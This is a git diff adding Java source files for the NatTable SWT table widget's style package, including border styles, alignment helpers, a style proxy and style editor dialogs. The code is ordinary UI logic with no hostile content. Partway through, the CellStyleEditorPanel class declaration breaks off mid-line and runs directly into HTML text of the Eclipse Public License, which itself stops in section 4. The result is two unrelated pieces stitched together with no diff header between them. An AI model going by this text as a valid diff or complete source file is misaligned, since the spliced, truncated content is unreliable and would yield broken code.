a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/BorderStyle.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/BorderStyle.java new file mode 100644 index 0000000..855b1b3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/BorderStyle.java @@ -0,0 +1,116 @@ +package net.sourceforge.nattable.style; + +import net.sourceforge.nattable.persistence.ColorPersistor; +import net.sourceforge.nattable.util.GUIHelper; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; + +/** + * This class defines the visual attributes of a Border. + */ +public class BorderStyle { + + private int thickness = 1; + private Color color = GUIHelper.COLOR_BLACK; + private LineStyleEnum lineStyle = LineStyleEnum.SOLID; + + public enum LineStyleEnum { + SOLID, DASHED, DOTTED, DASHDOT, DASHDOTDOT; + + public static int toSWT(LineStyleEnum line) { + if (line == null) throw new IllegalArgumentException("null"); + if (line.equals(SOLID)) return SWT.LINE_SOLID; + else if (line.equals(DASHED)) return SWT.LINE_DASH; + else if (line.equals(DOTTED)) return SWT.LINE_DOT; + else if (line.equals(DASHDOT)) return SWT.LINE_DASHDOT; + else if (line.equals(DASHDOTDOT)) return SWT.LINE_DASHDOTDOT; + else return SWT.LINE_SOLID; + } + } + + public BorderStyle() {} + + public BorderStyle(int thickness, Color color, LineStyleEnum lineStyle) { + this.thickness = thickness; + this.color = color; + this.lineStyle = lineStyle; + } + + /** + * Reconstruct this instance from the persisted String. + * @see BorderStyle#toString() + */ + public BorderStyle(String string) { + String[] tokens = string.split("\\|"); + + this.thickness = Integer.parseInt(tokens[0]); + this.color = ColorPersistor.asColor(tokens[1]); + this.lineStyle = LineStyleEnum.valueOf(tokens[2]); + } + + public int getThickness() { + return thickness; + } + + public Color getColor() { + return color; + } + + public LineStyleEnum getLineStyle() { + return lineStyle; + } + + public void setThickness(int thickness) { + this.thickness = thickness; + } + + public void setColor(Color color) { + this.color = color; + } + + public void setLineStyle(LineStyleEnum lineStyle) { + this.lineStyle = lineStyle; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof BorderStyle == false) { + return false; + } + + if (this == obj) { + return true; + } + + BorderStyle that = (BorderStyle) obj; + + return new EqualsBuilder() + .append(this.thickness, that.thickness) + .append(this.color, that.color) + .append(this.lineStyle.name(), that.lineStyle.name()) + .isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(87, 19) + .append(thickness) + .append(color) + .append(lineStyle.name()) + .toHashCode(); + } + + /** + * @return a human readable representation of the border style. + * This is suitable for constructing an equivalent instance using the BorderStyle(String) constructor + */ + @Override + public String toString() { + return thickness + "|" + + ColorPersistor.asString(color) + "|" + + lineStyle; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleAttributes.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleAttributes.java new file mode 100644 index 0000000..9517024 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleAttributes.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.style; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; + +public interface CellStyleAttributes { + + public static final ConfigAttribute BACKGROUND_COLOR = new ConfigAttribute(); + + public static final ConfigAttribute FOREGROUND_COLOR = new ConfigAttribute(); + + public static final ConfigAttribute HORIZONTAL_ALIGNMENT = new ConfigAttribute(); + + public static final ConfigAttribute VERTICAL_ALIGNMENT = new ConfigAttribute(); + + public static final ConfigAttribute FONT = new ConfigAttribute(); + + public static final ConfigAttribute IMAGE = new ConfigAttribute(); + + public static final ConfigAttribute BORDER_STYLE = new ConfigAttribute(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleProxy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleProxy.java new file mode 100644 index 0000000..902d13f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleProxy.java @@ -0,0 +1,18 @@ +package net.sourceforge.nattable.style; + +import java.util.List; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; + +public class CellStyleProxy extends StyleProxy { + + public CellStyleProxy(IConfigRegistry configRegistry, String targetDisplayMode, List configLabels) { + super(CellConfigAttributes.CELL_STYLE, configRegistry, targetDisplayMode, configLabels); + } + + public void setAttributeValue(ConfigAttribute styleAttribute, T value) { + throw new UnsupportedOperationException("Not implmented yet"); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleUtil.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleUtil.java new file mode 100644 index 0000000..71eb5dc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/CellStyleUtil.java @@ -0,0 +1,76 @@ +package net.sourceforge.nattable.style; + +import org.eclipse.swt.graphics.Rectangle; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; + +public class CellStyleUtil { + + public static IStyle getCellStyle(LayerCell cell, IConfigRegistry configRegistry) { + return new CellStyleProxy(configRegistry, cell.getDisplayMode(), cell.getConfigLabels().getLabels()); + } + + public static int getHorizontalAlignmentPadding(IStyle cellStyle, Rectangle rectangle, int contentWidth) { + HorizontalAlignmentEnum horizontalAlignment = cellStyle.getAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT); + return getHorizontalAlignmentPadding(horizontalAlignment, rectangle, contentWidth); + } + + /** + * Calculate padding needed at the left to align horizontally. Defaults to CENTER horizontal alignment. + */ + public static int getHorizontalAlignmentPadding(HorizontalAlignmentEnum horizontalAlignment, Rectangle rectangle, int contentWidth) { + if (horizontalAlignment == null) { + horizontalAlignment = HorizontalAlignmentEnum.CENTER; + } + + int padding = 0; + + switch (horizontalAlignment) { + case CENTER: + padding = (rectangle.width - contentWidth) / 2; + break; + case RIGHT: + padding = rectangle.width - contentWidth; + break; + } + + if (padding < 0) { + padding = 0; + } + + return padding; + } + + public static int getVerticalAlignmentPadding(IStyle cellStyle, Rectangle rectangle, int contentHeight) { + VerticalAlignmentEnum verticalAlignment = cellStyle.getAttributeValue(CellStyleAttributes.VERTICAL_ALIGNMENT); + return getVerticalAlignmentPadding(verticalAlignment, rectangle, contentHeight); + } + + /** + * Calculate padding needed at the top to align vertically. Defaults to MIDDLE vertical alignment. + */ + public static int getVerticalAlignmentPadding(VerticalAlignmentEnum verticalAlignment, Rectangle rectangle, int contentHeight) { + if (verticalAlignment == null) { + verticalAlignment = VerticalAlignmentEnum.MIDDLE; + } + + int padding = 0; + + switch (verticalAlignment) { + case MIDDLE: + padding = (rectangle.height - contentHeight) / 2; + break; + case BOTTOM: + padding = rectangle.height - contentHeight; + break; + } + + if (padding < 0) { + padding = 0; + } + + return padding; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/ConfigAttribute.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/ConfigAttribute.java new file mode 100644 index 0000000..2397c43 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/ConfigAttribute.java @@ -0,0 +1,5 @@ +package net.sourceforge.nattable.style; + +public class ConfigAttribute { + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/DefaultDisplayModeOrdering.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/DefaultDisplayModeOrdering.java new file mode 100644 index 0000000..356b805 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/DefaultDisplayModeOrdering.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.style; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; + +public class DefaultDisplayModeOrdering implements IDisplayModeOrdering { + + private static final List NORMAL_ORDERING = Arrays.asList(DisplayMode.NORMAL); + + private static final List SELECT_ORDERING = Arrays.asList(DisplayMode.SELECT, DisplayMode.NORMAL); + + private static final List EDIT_ORDERING = Arrays.asList(DisplayMode.EDIT, DisplayMode.NORMAL); + + private static final List EMPTY_ORDERING = Collections.emptyList(); + + /** + * @see DefaultDisplayModeOrderingTest + */ + public List getDisplayModeOrdering(String targetDisplayMode) { + if (DisplayMode.NORMAL.equals(targetDisplayMode)) { + return NORMAL_ORDERING; + } else if (DisplayMode.SELECT.equals(targetDisplayMode)) { + return SELECT_ORDERING; + } else if (DisplayMode.EDIT.equals(targetDisplayMode)) { + return EDIT_ORDERING; + } else { + return EMPTY_ORDERING; + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/DisplayMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/DisplayMode.java new file mode 100644 index 0000000..5168b22 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/DisplayMode.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.style; + +/** + * The various modes the table can be under. + *
      + *
    1. During normal display a cell is in NORMAL mode.
    2. + *
    3. If the contents of the cell are being edited, its in EDIT mode.
    4. + *
    5. If a cell has been selected, its in SELECT mode.
    6. + *
    + *
    + * These modes are used to bind different settings to different modes.
    + * For example, a different style can be registered for a cell + * when it is in SELECT mode. + * + */ +public interface DisplayMode { + + public static final String NORMAL = "NORMAL"; + public static final String SELECT = "SELECT"; + public static final String EDIT = "EDIT"; + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/HorizontalAlignmentEnum.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/HorizontalAlignmentEnum.java new file mode 100644 index 0000000..0aa82a4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/HorizontalAlignmentEnum.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.style; + +import org.eclipse.swt.SWT; + +public enum HorizontalAlignmentEnum { + + LEFT, CENTER, RIGHT; + + public static int getSWTStyle(IStyle cellStyle) { + HorizontalAlignmentEnum horizontalAlignment = cellStyle.getAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT); + + if (horizontalAlignment == null) { + return SWT.NONE; + } + + switch (horizontalAlignment) { + case CENTER: + return SWT.CENTER; + case LEFT: + return SWT.LEFT; + case RIGHT: + return SWT.RIGHT; + default: + return SWT.NONE; + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/IDisplayModeOrdering.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/IDisplayModeOrdering.java new file mode 100644 index 0000000..0e276cf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/IDisplayModeOrdering.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.style; + +import java.util.List; + +public interface IDisplayModeOrdering { + + public List getDisplayModeOrdering(String targetDisplayMode); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/IStyle.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/IStyle.java new file mode 100644 index 0000000..917930e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/IStyle.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.style; + +/** + * Used to store attributes reflecting a (usually display) style. + */ +public interface IStyle { + + public T getAttributeValue(ConfigAttribute styleAttribute); + + public void setAttributeValue(ConfigAttribute styleAttribute, T value); +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/SelectionStyleLabels.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/SelectionStyleLabels.java new file mode 100644 index 0000000..f53ca3b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/SelectionStyleLabels.java @@ -0,0 +1,13 @@ +package net.sourceforge.nattable.style; + +import net.sourceforge.nattable.grid.GridRegion; + +public interface SelectionStyleLabels { + + public static final String SELECTION_ANCHOR_STYLE = "selectionAnchor"; + + public static final String COLUMN_FULLY_SELECTED_STYLE = GridRegion.COLUMN_HEADER + "_FULL"; + + public static final String ROW_FULLY_SELECTED_STYLE = GridRegion.ROW_HEADER + "_FULL"; + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/Style.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/Style.java new file mode 100644 index 0000000..11cc875 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/Style.java @@ -0,0 +1,35 @@ +package net.sourceforge.nattable.style; + +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.Map.Entry; + +public class Style implements IStyle { + + private final Map, Object> styleAttributeValueMap = new HashMap, Object>(); + + @SuppressWarnings("unchecked") + public T getAttributeValue(ConfigAttribute styleAttribute) { + return (T) styleAttributeValueMap.get(styleAttribute); + } + + public void setAttributeValue(ConfigAttribute styleAttribute, T value) { + styleAttributeValueMap.put(styleAttribute, value); + } + + @Override + public String toString() { + StringBuilder resultBuilder = new StringBuilder(); + resultBuilder.append(this.getClass().getSimpleName() + ": "); + + Set, Object>> entrySet = styleAttributeValueMap.entrySet(); + + for (Entry, Object> entry : entrySet) { + resultBuilder.append(entry.getKey() + ": " + entry.getValue() + "\n"); + } + + return resultBuilder.toString(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/StyleProxy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/StyleProxy.java new file mode 100644 index 0000000..0cc880b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/StyleProxy.java @@ -0,0 +1,49 @@ +package net.sourceforge.nattable.style; + +import java.util.List; + +import net.sourceforge.nattable.config.IConfigRegistry; + +public abstract class StyleProxy implements IStyle { + + private final ConfigAttribute styleConfigAttribute; + private final IConfigRegistry configRegistry; + private final String targetDisplayMode; + private final List configLabels; + + public StyleProxy(ConfigAttribute styleConfigAttribute, IConfigRegistry configRegistry, String targetDisplayMode, List configLabels) { + this.styleConfigAttribute = styleConfigAttribute; + this.configRegistry = configRegistry; + this.targetDisplayMode = targetDisplayMode; + this.configLabels = configLabels; + } + + public T getAttributeValue(ConfigAttribute styleAttribute) { + T styleAttributeValue = null; + IDisplayModeOrdering displayModeOrdering = configRegistry.getDisplayModeOrdering(); + + for (String displayMode : displayModeOrdering.getDisplayModeOrdering(targetDisplayMode)) { + for (String configLabel : configLabels) { + IStyle cellStyle = configRegistry.getSpecificConfigAttribute(styleConfigAttribute, displayMode, configLabel); + if (cellStyle != null) { + styleAttributeValue = cellStyle.getAttributeValue(styleAttribute); + if (styleAttributeValue != null) { + return styleAttributeValue; + } + } + } + + // default + IStyle cellStyle = configRegistry.getConfigAttribute(styleConfigAttribute, displayMode); + if (cellStyle != null) { + styleAttributeValue = cellStyle.getAttributeValue(styleAttribute); + if (styleAttributeValue != null) { + return styleAttributeValue; + } + } + } + + return null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/VerticalAlignmentEnum.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/VerticalAlignmentEnum.java new file mode 100644 index 0000000..ab0def4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/VerticalAlignmentEnum.java @@ -0,0 +1,7 @@ +package net.sourceforge.nattable.style; + +public enum VerticalAlignmentEnum { + + TOP, MIDDLE, BOTTOM; + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/AbstractEditorPanel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/AbstractEditorPanel.java new file mode 100644 index 0000000..8504851 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/AbstractEditorPanel.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.style.editor; + +import org.eclipse.swt.widgets.Composite; + +/** + * SWT Panel to edit object of type T + */ +public abstract class AbstractEditorPanel extends Composite { + + public AbstractEditorPanel(Composite parent, int style) { + super(parent, style); + } + + /** + * Initialize UI widgets to match the initial state of T + */ + public abstract void edit(T t) throws Exception; + + /** + * Get the new value of T with the user modifications + */ + public abstract T getNewValue(); + + /** + * Use friendly name for this editor (used as tab labels). + */ + public abstract String getEditorName(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/AbstractStyleEditorDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/AbstractStyleEditorDialog.java new file mode 100644 index 0000000..416f1be --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/AbstractStyleEditorDialog.java @@ -0,0 +1,116 @@ +package net.sourceforge.nattable.style.editor; + +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Dialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +public abstract class AbstractStyleEditorDialog extends Dialog { + + private boolean cancelPressed = false; + + public AbstractStyleEditorDialog(Shell parent) { + super(parent, SWT.DIALOG_TRIM | SWT.APPLICATION_MODAL); + } + + /** + * Create all widgets to be displayed in the editor + */ + protected abstract void initComponents(Shell shell); + + /** + * Initialize and display the SWT shell. This is a blocking call. + */ + public void open() { + Shell shell = new Shell(getParent(), getStyle()); + shell.setImage(GUIHelper.getImage("preferences")); + shell.setText(getText()); + + initComponents(shell); + createButtons(shell); + + shell.pack(); + shell.open(); + Display display = shell.getDisplay(); + while (!shell.isDisposed()) { + if (!display.readAndDispatch()) + display.sleep(); + } + } + + + /** + * Create OK, Reset and Cancel buttons + */ + protected void createButtons(final Shell shell) { + Composite buttonPanel = new Composite(shell, SWT.NONE); + + GridLayout gridLayout = new GridLayout(); + gridLayout.numColumns = 3; + gridLayout.marginLeft = 65; + buttonPanel.setLayout(gridLayout); + + GridData gridLayoutData = new GridData(); + gridLayoutData.horizontalAlignment = GridData.FILL_HORIZONTAL; + buttonPanel.setLayoutData(gridLayoutData); + + Button okButton = new Button(buttonPanel, SWT.PUSH); + okButton.setText("OK"); + okButton.setLayoutData(new GridData(70, 25)); + okButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doFormOK(shell); + } + }); + + Button clearButton = new Button(buttonPanel, SWT.PUSH); + clearButton.setText("Clear"); + clearButton.setToolTipText("Reset to original settings"); + clearButton.setLayoutData(new GridData(80, 25)); + clearButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doFormClear(shell); + } + }); + + Button cancelButton = new Button(buttonPanel, SWT.NONE); + cancelButton.setText("Cancel"); + cancelButton.setLayoutData(new GridData(80, 25)); + cancelButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doFormCancel(shell); + } + }); + + shell.setDefaultButton(okButton); + } + + /** + * Respond to the OK button press. Read new state from the form. + */ + protected abstract void doFormOK(Shell shell); + + protected void doFormCancel(Shell shell) { + cancelPressed = true; + shell.dispose(); + } + + protected void doFormClear(Shell shell) { + shell.dispose(); + } + + public boolean isCancelPressed(){ + return cancelPressed; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/BorderStyleEditorPanel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/BorderStyleEditorPanel.java new file mode 100644 index 0000000..4ba9331 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/BorderStyleEditorPanel.java @@ -0,0 +1,98 @@ +package net.sourceforge.nattable.style.editor; + +import static org.eclipse.swt.SWT.CHECK; +import static org.eclipse.swt.SWT.NONE; +import net.sourceforge.nattable.style.BorderStyle; +import net.sourceforge.nattable.style.BorderStyle.LineStyleEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; + +/** + * EditorPanel for editing a border style. + */ +public class BorderStyleEditorPanel extends AbstractEditorPanel { + + private BorderThicknessPicker thicknessPicker; + private LineStylePicker lineStylePicker; + private ColorPicker colorPicker; + private Button noBordersCheckBox; + + @Override + public String getEditorName() { + return "Border Style"; + } + + public BorderStyleEditorPanel(Composite parent, int style) { + super(parent, style); + initComponents(); + } + + public void initComponents() { + GridLayout gridLayout = new GridLayout(2, false); + gridLayout.marginLeft = 10; + setLayout(gridLayout); + + new Label(this, NONE).setText("No Border"); + + noBordersCheckBox = new Button(this, CHECK); + noBordersCheckBox.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + boolean noBorder = noBordersCheckBox.getSelection(); + colorPicker.setEnabled(!noBorder); + thicknessPicker.setEnabled(!noBorder); + lineStylePicker.setEnabled(!noBorder); + } + }); + + new Label(this, NONE).setText("Color"); + colorPicker = new ColorPicker(this, GUIHelper.COLOR_WIDGET_BORDER); + + new Label(this, NONE).setText("Line Style"); + lineStylePicker = new LineStylePicker(this); + + new Label(this, NONE).setText("Thickness"); + thicknessPicker = new BorderThicknessPicker(this); + + // By default, no border is selected and all controls are disabled + noBordersCheckBox.setSelection(true); + colorPicker.setEnabled(false); + thicknessPicker.setEnabled(false); + lineStylePicker.setEnabled(false); + } + + private void disableEditing() { + colorPicker.setEnabled(false); + thicknessPicker.setEnabled(false); + lineStylePicker.setEnabled(false); + } + + public void edit(BorderStyle bstyle) throws Exception { + if (bstyle != null) { + noBordersCheckBox.setSelection(false); + colorPicker.setSelectedColor(bstyle.getColor()); + lineStylePicker.setSelectedLineStyle(bstyle.getLineStyle()); + thicknessPicker.setSelectedThickness(bstyle.getThickness()); + } else { + noBordersCheckBox.setSelection(true); + disableEditing(); + } + } + + public BorderStyle getNewValue() { + if (!noBordersCheckBox.getSelection()) { + Color borderColor = colorPicker.getSelectedColor(); + LineStyleEnum lineStyle = lineStylePicker.getSelectedLineStyle(); + int borderThickness = thicknessPicker.getSelectedThickness(); + return new BorderStyle(borderThickness, borderColor, lineStyle); + } + return null; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/BorderThicknessPicker.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/BorderThicknessPicker.java new file mode 100644 index 0000000..2e76a81 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/BorderThicknessPicker.java @@ -0,0 +1,47 @@ +package net.sourceforge.nattable.style.editor; + +import static org.eclipse.swt.SWT.NONE; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; + +/** + * Control to select the thickness of a border. + */ +public class BorderThicknessPicker extends Composite { + + private Combo combo; + + public BorderThicknessPicker(Composite parent) { + super(parent, NONE); + setLayout(new RowLayout()); + + combo = new Combo(this, SWT.READ_ONLY | SWT.DROP_DOWN); + combo.setItems(new String[] { "Thin", "Thick", "Very Thick" }); + combo.select(0); + } + + @Override + public void setEnabled(boolean b) { + combo.setEnabled(b); + } + + public int getSelectedThickness() { + int idx = combo.getSelectionIndex(); + if (idx == 0) return 1; + else if (idx == 1) return 3; + else if (idx == 2) return 6; + else throw new IllegalStateException("never happen"); + } + + public void setSelectedThickness(int thickness) { + if (thickness < 0) throw new IllegalArgumentException("negative number"); + int idx = 0; + if (thickness < 3) idx = 0; + else if (thickness < 6) idx = 1; + else if (thickness > 6) idx = 2; + combo.select(idx); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/CellStyleEditorPanel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/CellStyleEditorPanel.java new file mode 100644 index 0000000..5ae72af --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/style/editor/CellStyleEditorPanel.java @@ -0,0 +1,88 @@ +package net.sourceforge.nattable.style.editor; + +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.style.VerticalAlignmentEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; + +/** + * EditorPanel for editing the core style attributes. + */ +public class CellStyleEditorPanel extends AbstractEditorPanel + + + + + +

    Eclipse Public License - v 1.0

    + +

    THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE +PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR +DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS +AGREEMENT.

    + +

    1. DEFINITIONS

    + +

    "Contribution" means:

    + +

    a) in the case of the initial Contributor, the initial +code and documentation distributed under this Agreement, and

    +

    b) in the case of each subsequent Contributor:

    +

    i) changes to the Program, and

    +

    ii) additions to the Program;

    +

    where such changes and/or additions to the Program +originate from and are distributed by that particular Contributor. A +Contribution 'originates' from a Contributor if it was added to the +Program by such Contributor itself or anyone acting on such +Contributor's behalf. Contributions do not include additions to the +Program which: (i) are separate modules of software distributed in +conjunction with the Program under their own license agreement, and (ii) +are not derivative works of the Program.

    + +

    "Contributor" means any person or entity that distributes +the Program.

    + +

    "Licensed Patents" mean patent claims licensable by a +Contributor which are necessarily infringed by the use or sale of its +Contribution alone or when combined with the Program.

    + +

    "Program" means the Contributions distributed in accordance +with this Agreement.

    + +

    "Recipient" means anyone who receives the Program under +this Agreement, including all Contributors.

    + +

    2. GRANT OF RIGHTS

    + +

    a) Subject to the terms of this Agreement, each +Contributor hereby grants Recipient a non-exclusive, worldwide, +royalty-free copyright license to reproduce, prepare derivative works +of, publicly display, publicly perform, distribute and sublicense the +Contribution of such Contributor, if any, and such derivative works, in +source code and object code form.

    + +

    b) Subject to the terms of this Agreement, each +Contributor hereby grants Recipient a non-exclusive, worldwide, +royalty-free patent license under Licensed Patents to make, use, sell, +offer to sell, import and otherwise transfer the Contribution of such +Contributor, if any, in source code and object code form. This patent +license shall apply to the combination of the Contribution and the +Program if, at the time the Contribution is added by the Contributor, +such addition of the Contribution causes such combination to be covered +by the Licensed Patents. The patent license shall not apply to any other +combinations which include the Contribution. No hardware per se is +licensed hereunder.

    + +

    c) Recipient understands that although each Contributor +grants the licenses to its Contributions set forth herein, no assurances +are provided by any Contributor that the Program does not infringe the +patent or other intellectual property rights of any other entity. Each +Contributor disclaims any liability to Recipient for claims brought by +any other entity based on infringement of intellectual property rights +or otherwise. As a condition to exercising the rights and licenses +granted hereunder, each Recipient hereby assumes sole responsibility to +secure any other intellectual property rights needed, if any. For +example, if a third party patent license is required to allow Recipient +to distribute the Program, it is Recipient's responsibility to acquire +that license before distributing the Program.

    + +

    d) Each Contributor represents that to its knowledge it +has sufficient copyright rights in its Contribution, if any, to grant +the copyright license set forth in this Agreement.

    + +

    3. REQUIREMENTS

    + +

    A Contributor may choose to distribute the Program in object code +form under its own license agreement, provided that:

    + +

    a) it complies with the terms and conditions of this +Agreement; and

    + +

    b) its license agreement:

    + +

    i) effectively disclaims on behalf of all Contributors +all warranties and conditions, express and implied, including warranties +or conditions of title and non-infringement, and implied warranties or +conditions of merchantability and fitness for a particular purpose;

    + +

    ii) effectively excludes on behalf of all Contributors +all liability for damages, including direct, indirect, special, +incidental and consequential damages, such as lost profits;

    + +

    iii) states that any provisions which differ from this +Agreement are offered by that Contributor alone and not by any other +party; and

    + +

    iv) states that source code for the Program is available +from such Contributor, and informs licensees how to obtain it in a +reasonable manner on or through a medium customarily used for software +exchange.

    + +

    When the Program is made available in source code form:

    + +

    a) it must be made available under this Agreement; and

    + +

    b) a copy of this Agreement must be included with each +copy of the Program.

    + +

    Contributors may not remove or alter any copyright notices contained +within the Program.

    + +

    Each Contributor must identify itself as the originator of its +Contribution, if any, in a manner that reasonably allows subsequent +Recipients to identify the originator of the Contribution.

    + +

    4. COMMERCIAL DISTRIBUTION

    + +

    Commercial distributors of software may accept certain +responsibilities with respect to end users, business partners and the +like. While this license is intended to facilitate the commercial use of +the Program, the Contributor who includes the Program in a commercial +product offering should do so in a manner which does not create +potential liability for other Contributors. Therefore, if a Contributor +includes the Program in a commercial product offering, such Contributor +("Commercial Contributor") hereby agrees to defend and +indemnify every other Contributor ("Indemnified Contributor") +against any losses, damages and costs (collectively "Losses") +arising from claims, lawsuits and other legal actions brought by a third +party against the Indemnified Contributor to the extent caused by the +acts or omissions of such Commercial Contributor in connection with its +distribution of the Program in a commercial product offering. The +obligations in this section do not apply to any claims or Losses +relating to any actual or alleged intellectual property infringement. In +order to qualify, an Indemnified Contributor must: a) promptly notify +the Commercial Contributor in writing of such claim, and b) allow the +Commercial Contributor to control, and cooperate with the Commercial +Contributor in, the defense and any related settlement negotiations. The +Indemnified Contributor may participate in any such claim at its own +expense.

    + +

